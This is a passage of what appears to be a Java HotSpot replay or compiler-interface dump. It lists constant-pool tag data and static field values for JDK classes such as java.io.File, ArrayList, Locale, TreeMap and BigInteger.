1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 100 100 100 12 12 1 12 12 12 12 12 12 12 12 12 12 12 1 15 16 15 16 12 100 12 12 12 12 12 12 12 12 12 12 12 12 7 12 12 12 1 12 12 1 12 12 12 12 12 100 12 12 1 12 100 12 12 12 12 1 1 12 12 1 1 1 1 1 1 1 12 1 1 12 1 12 12 12 12 1 100 12 100 12 12 100 7 12 12 12 12 1 12 12 12 12 12 12 12 12 1 12 15 16 12 12 1 100 12 12 1 1 12 12 100 12 12 12 1 12 12 100 12 12 7 12 1 7 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 10 1 10 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 10 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 12 12 1 1 100 1 1 100 1 1\nstaticfield java/lang/module/ModuleDescriptor $assertionsDisabled Z 1\nciInstanceKlass java/io/File 1 1 634 9 9 10 9 9 9 10 9 100 10 8 10 9 10 100 10 10 10 10 10 100 8 10 10 8 10 8 10 8 10 8 10 8 10 8 10 8 10 9 10 10 10 10 10 10 7 10 10 10 10 10 7 8 10 10 10 8 10 7 10 10 10 10 7 10 100 10 10 10 10 10 8 7 10 100 100 10 10 10 7 10 10 10 10 10 10 10 10 10 10 10 7 10 11 11 11 7 11 100 10 10 10 10 7 11 10 10 10 10 10 10 10 8 10 10 10 10 10 10 10 10 100 8 10 10 10 8 8 8 10 10 100 8 10 10 10 10 10 10 10 10 8 10 10 9 9 10 9 10 9 10 10 10 10 10 10 9 10 9 9 10 10 8 7 100 100 100 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 7 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 100 1 1 1 100 100 1 1 1 1 1 1 1 12 12 12 12 12 12 12 12 1 1 12 12 12 1 12 12 12 12 1 1 12 12 1 12 1 12 1 12 1 12 1 12 1 12 1 12 12 12 12 12 12 12 12 1 12 12 12 12 12 1 1 12 12 1 12 1 12 12 12 1 1 12 12 12 12 1 1 12 1 1 12 7 12 12 1 12 12 12 12 12 12 12 12 100 12 12 12 1 12 12 12 1 12 12 12 12 12 12 12 12 12 12 1 12 12 12 12 12 12 12 12 1 1 12 12 1 1 1 12 12 1 1 12 12 12 12 100 12 12 100 12 12 12 12 12 7 12 12 12 12 7 12 7 12 7 12 7 12 12 12 12 12 12 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/io/File fs Ljava/io/FileSystem; java/io/WinNTFileSystem\nstaticfield java/io/File separatorChar C 92\nstaticfield java/io/File separator Ljava/lang/String; \"\\\"staticfield java/io/File pathSeparatorChar C 59\nstaticfield java/io/File pathSeparator Ljava/lang/String; \";\"staticfield java/io/File UNSAFE Ljdk/internal/misc/Unsafe; jdk/internal/misc/Unsafe\nstaticfield java/io/File PATH_OFFSET J 16\nstaticfield java/io/File PREFIX_LENGTH_OFFSET J 12\nstaticfield java/io/File $assertionsDisabled Z 1\ninstanceKlass java/io/WinNTFileSystem\nciInstanceKlass java/io/FileSystem 1 1 115 10 10 10 10 9 9 8 10 8 7 7 1 1 1 3 1 3 1 3 1 3 1 1 1 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 7 12 7 12 7 12 12 12 1 12 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/io/WinNTFileSystem 1 1 461 10 7 10 9 9 10 8 10 10 9 8 9 9 8 10 9 10 7 10 10 10 10 10 10 10 10 10 10 10 10 10 10 7 10 8 10 8 10 10 10 10 10 10 10 10 10 10 100 8 10 8 100 8 10 10 10 10 9 10 9 10 10 9 10 10 9 10 7 10 10 10 10 10 10 10 10 10 10 18 11 18 11 18 11 100 10 10 10 11 11 8 10 10 9 10 10 3 10 10 7 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 1 12 12 7 12 1 12 12 12 1 12 12 1 12 12 12 1 12 12 12 12 12 12 12 12 12 12 12 1 12 1 12 1 12 12 12 12 12 12 12 12 7 12 12 1 1 12 1 1 1 12 12 12 12 12 12 12 12 12 12 12 12 12 1 12 12 12 12 12 12 12 100 12 12 1 15 16 15 16 12 100 12 16 15 16 12 100 12 15 16 12 12 1 12 12 12 100 12 1 12 12 7 12 12 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 10 1 10 1 1 1 1 1 1 10 1 1 1 1 1 10 1 1 1 1 1 1 1 1 1 1 1 1 1 100 12 12 12 12 1 1 100 1 1 1 100 1 1\ninstanceKlass java/io/ExpiringCache$1\nciInstanceKlass java/util/LinkedHashMap 1 1 280 9 9 9 9 10 7 10 10 9 9 9 10 100 10 10 10 10 9 9 10 10 10 10 10 10 10 10 9 10 9 7 10 9 7 10 9 7 10 100 10 11 100 10 11 7 7 100 100 1 1 100 1 100 1 100 1 1 1 1 1 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 12 1 12 12 12 12 12 12 1 12 12 12 12 12 100 12 12 12 12 12 12 12 12 12 12 1 12 12 1 12 1 1 100 12 1 100 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\ninstanceKlass org/apache/maven/artifact/versioning/ComparableVersion$ListItem\ninstanceKlass org/eclipse/sisu/bean/BeanScheduler$Pending\nciInstanceKlass java/util/ArrayList 1 1 500 100 10 7 9 9 100 100 10 8 10 10 10 10 9 11 9 10 7 10 9 10 7 10 10 10 100 10 3 10 3 10 10 10 10 10 100 100 10 10 10 10 10 10 10 10 7 10 10 10 100 10 11 11 11 10 10 10 100 10 10 10 10 8 8 8 8 10 10 11 100 10 10 10 10 10 10 11 10 100 8 10 7 10 7 10 10 7 10 10 11 7 10 10 11 10 10 10 10 11 10 7 100 100 100 1 1 1 1 1 1 1 1 5 0 1 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 7 1 12 1 12 12 1 1 1 12 12 12 12 12 12 12 12 7 12 12 12 1 12 12 7 12 1 12 12 12 12 12 12 1 1 12 7 12 7 12 12 12 12 12 12 1 12 12 12 1 12 12 12 12 12 12 1 12 12 12 1 1 1 1 12 12 12 1 100 12 12 12 100 12 12 100 12 100 12 12 1 1 1 12 1 12 12 1 12 12 12 1 12 12 7 12 12 12 12 12 100 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/util/ArrayList EMPTY_ELEMENTDATA [Ljava/lang/Object; 0 [Ljava/lang/Object;\nstaticfield java/util/ArrayList DEFAULTCAPACITY_EMPTY_ELEMENTDATA [Ljava/lang/Object; 0 [Ljava/lang/Object;\ninstanceKlass java/util/Collections$UnmodifiableSortedMap\nciInstanceKlass java/util/Collections$UnmodifiableMap 1 1 175 10 100 10 9 11 11 11 11 11 100 10 9 11 10 9 7 11 10 9 11 10 11 11 10 11 11 7 7 7 100 1 1 1 1 1 1 5 0 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 12 1 12 12 12 12 12 12 1 12 12 12 12 1 12 12 12 12 12 12 12 12 12 12 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass jdk/internal/module/ModuleReferenceImpl 1 1 163 10 7 10 9 9 9 9 9 9 9 11 7 100 10 9 11 9 10 10 10 7 10 100 10 8 10 10 8 10 10 8 8 10 7 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 12 1 12 12 12 12 12 12 12 12 7 12 1 1 12 12 12 12 12 7 12 12 1 12 1 12 1 12 12 1 12 12 1 1 12 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/util/concurrent/ConcurrentHashMap$ForwardingNode 1 1 71 100 10 9 10 9 9 10 7 10 9 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 1 1 1 1 1 1 12 12 12 12 12 12 1 12 12 1 1 1 1 1 1 1 1 1 1\ninstanceKlass java/util/ArrayList$ListItr\nciInstanceKlass java/util/ArrayList$Itr 1 1 103 9 10 9 9 9 9 9 10 100 10 9 100 10 100 10 10 100 10 10 11 7 7 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 12 12 12 12 12 12 12 12 1 12 1 1 12 1 100 12 12 100 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1\ninstanceKlass java/util/Collections$UnmodifiableList\ninstanceKlass java/util/Collections$UnmodifiableSet\nciInstanceKlass java/util/Collections$UnmodifiableCollection 1 1 136 10 100 10 9 11 11 11 11 11 11 10 7 10 100 10 11 11 11 11 11 7 7 7 100 1 1 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 12 1 12 12 12 12 12 12 12 12 1 12 1 12 12 12 12 12 1 1 1 1 1 1\nciInstanceKlass java/util/Locale 1 1 1162 10 9 9 100 10 10 8 10 10 10 10 10 10 9 10 7 100 10 9 9 10 9 10 9 9 100 8 10 10 10 8 8 10 8 10 10 10 10 8 8 8 8 10 10 100 9 10 9 10 9 10 9 10 9 10 7 10 10 10 100 10 9 10 9 8 10 8 10 100 8 10 10 10 9 100 8 10 7 10 10 10 9 8 10 10 10 10 10 10 10 100 7 10 8 10 10 10 10 10 10 10 10 10 10 8 10 10 10 10 8 9 10 10 10 10 7 8 10 10 10 10 11 11 11 10 10 10 10 8 10 10 10 10 100 8 8 10 8 10 8 8 10 10 10 10 10 10 10 100 10 8 9 7 10 10 10 10 10 10 8 10 10 10 8 100 10 10 10 10 11 18 11 18 11 18 10 10 10 11 100 100 10 10 8 10 100 100 10 9 10 10 10 10 100 8 10 10 10 10 10 8 8 8 9 10 10 8 10 10 10 18 10 8 10 10 8 10 11 18 11 10 10 8 10 8 8 8 8 8 10 10 10 10 100 10 10 10 10 8 8 8 8 8 8 8 10 8 8 9 8 8 9 10 9 10 10 10 10 10 100 10 10 10 7 10 10 9 8 9 8 9 8 9 9 8 9 8 9 8 9 8 9 8 9 8 9 8 9 9 8 9 9 9 9 8 9 8 9 8 9 9 10 7 10 9 9 100 100 7 1 100 1 100 1 100 1 7 1 100 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 3 1 3 1 1 5 0 1 1 3 1 3 1 3 1 3 1 3 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 7 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 100 100 1 1 1 1 1 100 1 1 1 100 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 100 12 12 12 1 12 1 12 12 12 12 12 12 12 12 1 1 12 12 12 12 12 12 12 12 1 1 12 12 7 12 1 1 12 1 12 12 12 12 1 1 1 1 12 7 12 1 12 12 12 12 12 12 12 12 12 12 1 12 1 12 12 12 12 1 12 1 100 12 1 1 12 12 12 12 1 1 12 1 12 100 12 12 12 1 12 12 12 12 1 1 1 12 12 12 100 12 12 100 12 12 12 12 1 12 12 12 1 12 12 12 1 1 12 12 12 12 12 12 12 12 12 1 12 12 12 12 1 1 1 1 1 1 12 12 12 12 12 12 12 1 12 1 12 1 7 12 12 12 100 12 12 12 1 12 12 12 1 1 12 12 100 12 12 100 12 1 15 16 15 16 12 100 12 16 15 16 12 12 15 12 12 12 12 12 1 12 1 12 1 1 12 12 12 12 1 1 12 12 1 1 1 12 12 12 1 12 12 100 12 15 12 12 1 12 12 1 100 12 12 16 15 16 12 12 7 12 12 12 1 12 12 12 12 1 12 12 12 1 1 1 1 1 12 1 1 12 1 1 12 100 12 12 12 12 12 1 12 12 7 12 1 12 12 1 12 1 12 1 12 12 1 12 1 12 1 12 1 12 1 12 1 12 1 12 12 1 12 12 12 12 1 12 12 1 12 12 12 1 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 10 10 1 1 1 1 1 1 1 1 1 10 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 10 1 1 1 1 1 1 1 1 1 1 10 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 12 12 12 12 12 1 1 100 1 1 100 1 1\nstaticfield java/util/Locale LOCALECACHE Ljava/util/Locale$Cache; java/util/Locale$Cache\nstaticfield java/util/Locale ENGLISH Ljava/util/Locale; java/util/Locale\nstaticfield java/util/Locale FRENCH Ljava/util/Locale; java/util/Locale\nstaticfield java/util/Locale GERMAN Ljava/util/Locale; java/util/Locale\nstaticfield java/util/Locale ITALIAN Ljava/util/Locale; java/util/Locale\nstaticfield java/util/Locale JAPANESE Ljava/util/Locale; java/util/Locale\nstaticfield java/util/Locale KOREAN Ljava/util/Locale; java/util/Locale\nstaticfield java/util/Locale CHINESE Ljava/util/Locale; java/util/Locale\nstaticfield java/util/Locale SIMPLIFIED_CHINESE Ljava/util/Locale; java/util/Locale\nstaticfield java/util/Locale TRADITIONAL_CHINESE Ljava/util/Locale; java/util/Locale\nstaticfield java/util/Locale FRANCE Ljava/util/Locale; java/util/Locale\nstaticfield java/util/Locale GERMANY Ljava/util/Locale; java/util/Locale\nstaticfield java/util/Locale ITALY Ljava/util/Locale; java/util/Locale\nstaticfield java/util/Locale JAPAN Ljava/util/Locale; java/util/Locale\nstaticfield java/util/Locale KOREA Ljava/util/Locale; java/util/Locale\nstaticfield java/util/Locale CHINA Ljava/util/Locale; java/util/Locale\nstaticfield java/util/Locale PRC Ljava/util/Locale; java/util/Locale\nstaticfield java/util/Locale TAIWAN Ljava/util/Locale; java/util/Locale\nstaticfield java/util/Locale UK Ljava/util/Locale; java/util/Locale\nstaticfield java/util/Locale US Ljava/util/Locale; java/util/Locale\nstaticfield java/util/Locale CANADA Ljava/util/Locale; java/util/Locale\nstaticfield java/util/Locale CANADA_FRENCH Ljava/util/Locale; java/util/Locale\nstaticfield java/util/Locale ROOT Ljava/util/Locale; java/util/Locale\nstaticfield java/util/Locale serialPersistentFields [Ljava/io/ObjectStreamField; 6 [Ljava/io/ObjectStreamField;\nstaticfield java/util/Locale $assertionsDisabled Z 1\nciInstanceKlass java/util/Arrays$ArrayList 1 1 149 10 10 7 9 10 10 10 10 10 10 100 10 11 11 10 7 10 7 7 100 100 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 12 7 12 12 12 12 7 12 7 12 12 12 1 7 12 100 12 100 12 12 1 1 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/lang/invoke/MethodType$ConcurrentWeakInternSet$WeakEntry 1 1 61 10 10 9 10 7 10 10 7 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 100 12 12 12 12 1 12 12 1 1 1 1 1 1\nciInstanceKlass java/util/TreeMap 1 1 641 10 9 9 9 10 11 11 11 11 10 100 100 10 10 9 10 10 10 10 11 7 11 11 10 10 100 10 7 9 9 11 9 9 11 10 9 7 10 10 10 10 10 7 100 100 10 9 9 9 10 10 10 10 10 10 10 10 7 10 10 11 9 7 10 7 10 100 10 100 10 10 10 10 10 10 11 100 10 11 7 10 100 10 10 100 10 100 10 9 10 10 10 10 10 10 10 10 10 10 11 11 100 11 10 11 10 10 11 11 10 10 10 10 10 9 10 100 10 100 10 100 10 7 10 9 7 100 100 100 100 1 1 100 1 1 1 100 1 1 100 1 1 1 1 1 1 100 1 100 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 3 1 3 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 100 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 100 100 100 100 100 100 12 12 12 12 12 12 12 12 12 12 1 1 12 12 12 12 12 12 12 7 1 12 12 1 1 12 12 12 12 12 12 12 1 12 12 12 12 12 1 1 1 12 12 12 12 12 12 12 12 12 12 12 1 12 12 12 1 12 1 1 12 1 12 12 12 100 12 12 100 12 1 100 12 1 12 1 1 1 12 1 12 12 12 12 12 12 12 12 12 100 12 12 12 12 1 12 12 12 100 12 12 100 12 12 12 100 12 12 12 12 1 1 12 1 1 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/util/TreeMap UNBOUNDED Ljava/lang/Object; java/lang/Object\ninstanceKlass java/nio/file/ClosedDirectoryStreamException\ninstanceKlass java/nio/file/ClosedFileSystemException\ninstanceKlass java/nio/channels/OverlappingFileLockException\ninstanceKlass org/apache/http/conn/ssl/SSLInitializationException\ninstanceKlass java/util/concurrent/CancellationException\nciInstanceKlass java/lang/IllegalStateException 0 0 35 10 10 10 10 100 100 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 1 1\nciInstanceKlass java/lang/NumberFormatException 1 1 67 10 10 7 7 10 8 10 8 10 10 8 10 8 11 10 7 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 1 1 1 12 1 12 1 12 1 100 12 12 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/util/TreeMap$Entry 1 1 96 100 10 9 9 9 9 100 11 10 11 10 100 10 10 8 10 10 7 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 12 100 1 12 12 12 12 1 12 1 12 12 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/util/LinkedHashMap$LinkedValues 1 1 101 9 10 9 10 7 10 10 100 10 100 10 9 9 9 11 9 100 10 7 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 12 12 12 12 1 1 12 12 1 100 12 1 12 12 12 100 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\ninstanceKlass java/util/Collections$UnmodifiableRandomAccessList\nciInstanceKlass java/util/Collections$UnmodifiableList 1 1 127 10 9 11 11 11 100 10 11 11 10 100 10 7 11 10 100 100 10 7 7 1 1 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 100 12 12 12 12 12 1 12 12 12 12 1 12 1 12 12 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/util/Collections$UnmodifiableRandomAccessList 1 1 52 10 100 9 11 10 7 100 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 12 1 12 100 12 1 1 1 1\ninstanceKlass com/sun/tools/javac/file/Locations$SearchPath\nciInstanceKlass java/util/LinkedHashSet 1 1 70 10 4 11 10 10 100 10 7 7 100 100 100 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 7 12 7 12 12 1 100 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/util/LinkedHashMap$LinkedKeyIterator 1 1 45 9 10 10 10 7 7 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 12 12 12 7 12 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/math/BigInteger 1 1 1465 7 10 100 8 10 10 10 9 9 10 7 3 10 10 10 10 8 8 10 10 10 7 8 10 8 10 10 9 9 5 0 5 0 10 9 10 10 8 9 10 10 7 10 5 0 10 10 10 100 8 10 5 0 5 0 10 100 8 10 10 10 10 10 9 10 10 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 10 10 10 10 100 10 10 10 10 10 100 10 8 10 10 10 9 10 9 10 10 3 8 3 10 10 10 10 10 10 10 10 9 100 10 10 10 10 10 10 10 10 8 5 0 9 5 0 9 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 5 0 10 10 10 10 10 100 5 0 10 10 10 100 10 10 10 10 10 10 10 10 5 0 5 0 10 10 10 5 0 10 10 10 8 10 8 8 10 10 10 10 10 100 10 10 10 10 10 10 10 10 10 10 10 10 8 5 0 9 5 0 5 0 5 0 8 10 10 10 10 10 10 10 8 10 10 10 3 10 10 10 10 10 10 10 10 8 8 10 100 3 9 10 10 10 10 10 10 10 3 10 10 10 10 10 10 8 8 8 8 10 10 10 10 10 10 10 8 9 9 9 100 8 10 10 10 9 10 9 10 10 9 10 9 9 10 10 10 10 9 10 7 10 10 100 10 100 4 4 100 3 10 100 6 0 6 0 100 5 0 10 10 10 9 10 8 10 8 10 7 8 10 8 100 10 8 8 10 10 8 10 10 10 10 8 8 8 8 10 8 8 100 10 8 100 10 8 10 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 6 0 5 0 5 0 5 0 9 3 8 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 5 0 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 7 9 10 9 7 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 3 1 3 1 3 1 3 1 3 1 1 3 1 3 1 1 3 1 1 1 3 1 3 1 1 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 5 0 1 1 1 1 1 1 1 1 